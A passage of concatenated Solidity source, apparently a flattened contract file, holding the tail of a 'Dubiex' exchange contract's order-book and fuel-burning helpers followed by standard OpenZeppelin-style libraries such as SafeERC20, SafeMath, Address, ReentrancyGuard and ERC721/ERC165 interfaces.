DubiexLib.CurrencyType makerCurrencyType
) = DubiexLib.unpackOrderPairAddressType(_pairStorage.makerPair);
_unpackedOrderPair.makerContractAddress = makerContractAddress;
_unpackedOrderPair.makerCurrencyType = makerCurrencyType;
require(
_unpackedOrderPair.makerCurrencyType !=
DubiexLib.CurrencyType.NULL,
"Dubiex: maker order pair not found"
);
}
// Read only taker info if requested
if (
strategy == DubiexLib.OrderPairReadStrategy.TAKER ||
strategy == DubiexLib.OrderPairReadStrategy.FULL
) {
(
address takerContractAddress,
DubiexLib.CurrencyType takerCurrencyType
) = DubiexLib.unpackOrderPairAddressType(_pairStorage.takerPair);
_unpackedOrderPair.takerContractAddress = takerContractAddress;
_unpackedOrderPair.takerCurrencyType = takerCurrencyType;
require(
_unpackedOrderPair.takerCurrencyType !=
DubiexLib.CurrencyType.NULL,
"Dubiex: taker order pair not found"
);
}
return _unpackedOrderPair;
}
/**
* @dev Tries to set the successor of the order with `ancestorOrderId`.
*
* - Reverts, if the ancestor exists and already has a successor.
* - Returns false, if the ancestor doesn't exist.
* - If it succeeds, then it implies that the ancestor hasn't been filled yet and thus
* the caller has to ensure that the successor gets hidden.
*/
function _setSuccessorOfAncestor(
address account,
uint32 ancestorOrderId,
uint32 successorOrderId
) private returns (bool) {
DubiexLib.PackedOrderBookItem[] storage orders
= _ordersByAddress[account];
uint256 length = orders.length;
for (uint256 i = 0; i < length; i++) {
DubiexLib.PackedOrderBookItem storage _packed = orders[i];
uint256 packedData = _packed.packedData;
// The first 32 bits of the packed data corresponds to the id. By casting to uint32,
// we can compare the id without having to unpack the entire thing.
uint32 orderId = uint32(packedData);
if (orderId == ancestorOrderId) {
DubiexLib.UnpackedOrderBookItem memory _unpacked = DubiexLib
.unpackOrderBookItem(packedData);
// Set successor if none yet
if (!_unpacked.flags.hasSuccessor) {
_unpacked.flags.hasSuccessor = true;
_packed.successorOrderId = successorOrderId;
// Pack data again and update storage
_packed.packedData = DubiexLib.packOrderBookItem(_unpacked);
return true;
}
// Ancestor exists, but has already a successor
revert("Dubiex: ancestor order already has a successor");
}
}
// Ancestor doesn't exist - so it got filled/cancelled or was never created to begin with.
return false;
}
/**
* @dev Makes the given successor order visible if it exists.
*/
function _setOrderVisible(address account, uint32 successorOrderId)
private
{
DubiexLib.PackedOrderBookItem[] storage orders
= _ordersByAddress[account];
uint256 length = orders.length;
for (uint256 i = 0; i < length; i++) {
DubiexLib.PackedOrderBookItem storage _packed = orders[i];
uint256 packedData = _packed.packedData;
// The first 32 bits of the packed data corresponds to the id. By casting to uint32,
// we can compare the id without having to unpack the entire thing.
uint32 orderId = uint32(packedData);
if (orderId == successorOrderId) {
DubiexLib.UnpackedOrderBookItem memory _unpacked = DubiexLib
.unpackOrderBookItem(packedData);
_unpacked.flags.isHidden = false;
// Write updated data
_packed.packedData = DubiexLib.packOrderBookItem(_unpacked);
break;
}
}
}
/**
* @dev Returns the order from `account` with the given id from storage
* plus the index of it.
*
* If it cannot be found, then this function reverts, because we expect the
* caller to operate on existing orders.
*/
function _safeGetOrder(
address account,
uint32 id,
DubiexLib.OrderPairReadStrategy strategy
)
private
view
returns (
DubiexLib.PackedOrderBookItem storage,
DubiexLib.UnpackedOrderBookItem memory,
uint256
)
{
DubiexLib.PackedOrderBookItem[] storage orders
= _ordersByAddress[account];
uint256 length = orders.length;
for (uint256 i = 0; i < length; i++) {
DubiexLib.PackedOrderBookItem storage _packed = orders[i];
uint256 packedData = _packed.packedData;
// The first 32 bits of the packed data corresponds to the id. By casting to uint32,
// we can compare the id without having to unpack the entire thing.
uint32 orderId = uint32(packedData);
if (orderId == id) {
DubiexLib.UnpackedOrderBookItem memory _unpacked = DubiexLib
.unpackOrderBookItem(packedData);
// Read the order pair with the given strategy
_unpacked.pair = _safeGetOrderPairByAlias(
_unpacked.orderPairAlias,
strategy
);
return (_packed, _unpacked, i);
}
}
revert("Dubiex: order does not exist");
}
/**
* @dev Returns the order from `account` with the given id from storage
* plus the index of it.
*
* If it cannot be found, then this function does not revert and it's up to the
* caller to decide.
*/
function _getOrder(
address account,
uint32 id,
DubiexLib.OrderPairReadStrategy strategy
)
private
view
returns (
DubiexLib.PackedOrderBookItem storage,
DubiexLib.UnpackedOrderBookItem memory,
uint256
)
{
DubiexLib.PackedOrderBookItem[] storage orders
= _ordersByAddress[account];
uint256 length = orders.length;
for (uint256 i = 0; i < length; i++) {
DubiexLib.PackedOrderBookItem storage _packed = orders[i];
uint256 packedData = _packed.packedData;
// The first 32 bits of the packed data corresponds to the id. By casting to uint32,
// we can compare the id without having to unpack the entire thing.
uint32 orderId = uint32(packedData);
if (orderId == id) {
DubiexLib.UnpackedOrderBookItem memory _unpacked = DubiexLib
.unpackOrderBookItem(packedData);
// Read the order pair with the given strategy
// NOTE: This cannot revert when the order exists.
_unpacked.pair = _safeGetOrderPairByAlias(
_unpacked.orderPairAlias,
strategy
);
return (_packed, _unpacked, i);
}
}
DubiexLib.UnpackedOrderBookItem memory _unpacked;
return (emptyOrder, _unpacked, 0);
}
/**
* @dev Delete an order of `maker` by index in O(1).
*/
function _deleteOrder(address maker, uint256 index) private {
DubiexLib.PackedOrderBookItem[] storage orders
= _ordersByAddress[maker];
uint256 length = orders.length;
// swap and pop, changes the order
if (index != length - 1) {
// Move last item to the position of the to-be-deleted item (`index`)
orders[index] = orders[length - 1];
}
orders.pop();
}
//---------------------------------------------------------------
// Fuel
//---------------------------------------------------------------
/**
* @dev Burn `fuel` from `from`.
*/
function _burnFuel(address from, BoosterFuel memory fuel)
internal
returns (uint96)
{
// Burn unlocked PRPS
if (fuel.unlockedPrps > 0) {
IBoostableERC20(address(_prps)).burnFuel(
from,
TokenFuel({
tokenAlias: 0, /* UNLOCKED PRPS */
amount: fuel.unlockedPrps
})
);
return 0;
}
// Burn locked PRPS
if (fuel.lockedPrps > 0) {
IBoostableERC20(address(_prps)).burnFuel(
from,
TokenFuel({
tokenAlias: 1, /* LOCKED PRPS */
amount: fuel.lockedPrps
})
);
return 0;
}
// Burn DUBI from balance
if (fuel.dubi > 0) {
IBoostableERC20(address(_dubi)).burnFuel(
from,
TokenFuel({
tokenAlias: 2, /* DUBI */
amount: fuel.dubi
})
);
return 0;
}
// The intrinsic fuel is only supported for ERC721 tokens via
// the 'safeTransferFrom' payload.
if (fuel.intrinsicFuel > 0) {
return fuel.intrinsicFuel;
}
// No fuel
return 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
import "../../introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transfered from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./IERC721Receiver.sol";
/**
* @dev Implementation of the {IERC721Receiver} interface.
*
* Accepts all token transfers.
* Make sure the contract is able to use its token with {IERC721-safeTransferFrom}, {IERC721-approve} or {IERC721-setApprovalForAll}.
*/
contract ERC721Holder is IERC721Receiver {
/**
* @dev See {IERC721Receiver-onERC721Received}.
*
* Always returns `IERC721Receiver.onERC721Received.selector`.
*/
function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) {
return this.onERC721Received.selector;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Interface of the global ERC1820 Registry, as defined in the
* https://eips.ethereum.org/EIPS/eip-1820[EIP]. Accounts may register
* implementers for interfaces in this registry, as well as query support.
*
* Implementers may be shared by multiple accounts, and can also implement more
* than a single interface for each account. Contracts can implement interfaces
* for themselves, but externally-owned accounts (EOA) must delegate this to a
* contract.
*
* {IERC165} interfaces can also be queried via the registry.
*
* For an in-depth explanation and source code analysis, see the EIP text.
*/
interface IERC1820Registry {
/**
* @dev Sets `newManager` as the manager for `account`. A manager of an
* account is able to set interface implementers for it.
*
* By default, each account is its own manager. Passing a value of `0x0` in
* `newManager` will reset the manager to this initial state.
*
* Emits a {ManagerChanged} event.
*
* Requirements:
*
* - the caller must be the current manager for `account`.
*/
function setManager(address account, address newManager) external;
/**
* @dev Returns the manager for `account`.
*
* See {setManager}.
*/
function getManager(address account) external view returns (address);
/**
* @dev Sets the `implementer` contract as ``account``'s implementer for
* `interfaceHash`.
*
* `account` being the zero address is an alias for the caller's address.
* The zero address can also be used in `implementer` to remove an old one.
*
* See {interfaceHash} to learn how these are created.
*
* Emits an {InterfaceImplementerSet} event.
*
* Requirements:
*
* - the caller must be the current manager for `account`.
* - `interfaceHash` must not be an {IERC165} interface id (i.e. it must not
* end in 28 zeroes).
* - `implementer` must implement {IERC1820Implementer} and return true when
* queried for support, unless `implementer` is the caller. See
* {IERC1820Implementer-canImplementInterfaceForAddress}.
*/
function setInterfaceImplementer(address account, bytes32 interfaceHash, address implementer) external;
/**
* @dev Returns the implementer of `interfaceHash` for `account`. If no such
* implementer is registered, returns the zero address.
*
* If `interfaceHash` is an {IERC165} interface id (i.e. it ends with 28
* zeroes), `account` will be queried for support of it.
*
* `account` being the zero address is an alias for the caller's address.
*/
function getInterfaceImplementer(address account, bytes32 interfaceHash) external view returns (address);
/**
* @dev Returns the interface hash for an `interfaceName`, as defined in the
* corresponding
* https://eips.ethereum.org/EIPS/eip-1820#interface-name[section of the EIP].
*/
function interfaceHash(string calldata interfaceName) external pure returns (bytes32);
/**
* @notice Updates the cache with whether the contract implements an ERC165 interface or not.
* @param account Address of the contract for which to update the cache.
* @param interfaceId ERC165 interface for which to update the cache.
*/
function updateERC165Cache(address account, bytes4 interfaceId) external;
/**
* @notice Checks whether a contract implements an ERC165 interface or not.
* If the result is not cached a direct lookup on the contract address is performed.
* If the result is not cached or the cached value is out-of-date, the cache MUST be updated manually by calling
* {updateERC165Cache} with the contract address.
* @param account Address of the contract to check.
* @param interfaceId ERC165 interface to check.
* @return True if `account` implements `interfaceId`, false otherwise.
*/
function implementsERC165Interface(address account, bytes4 interfaceId) external view returns (bool);
/**
* @notice Checks whether a contract implements an ERC165 interface or not without using nor updating the cache.
* @param account Address of the contract to check.
* @param interfaceId ERC165 interface to check.
* @return True if `account` implements `interfaceId`, false otherwise.
*/
function implementsERC165InterfaceNoCache(address account, bytes4 interfaceId) external view returns (bool);
event InterfaceImplementerSet(address indexed account, bytes32 indexed interfaceHash, address indexed implementer);
event ManagerChanged(address indexed account, address indexed newManager);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data)
external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
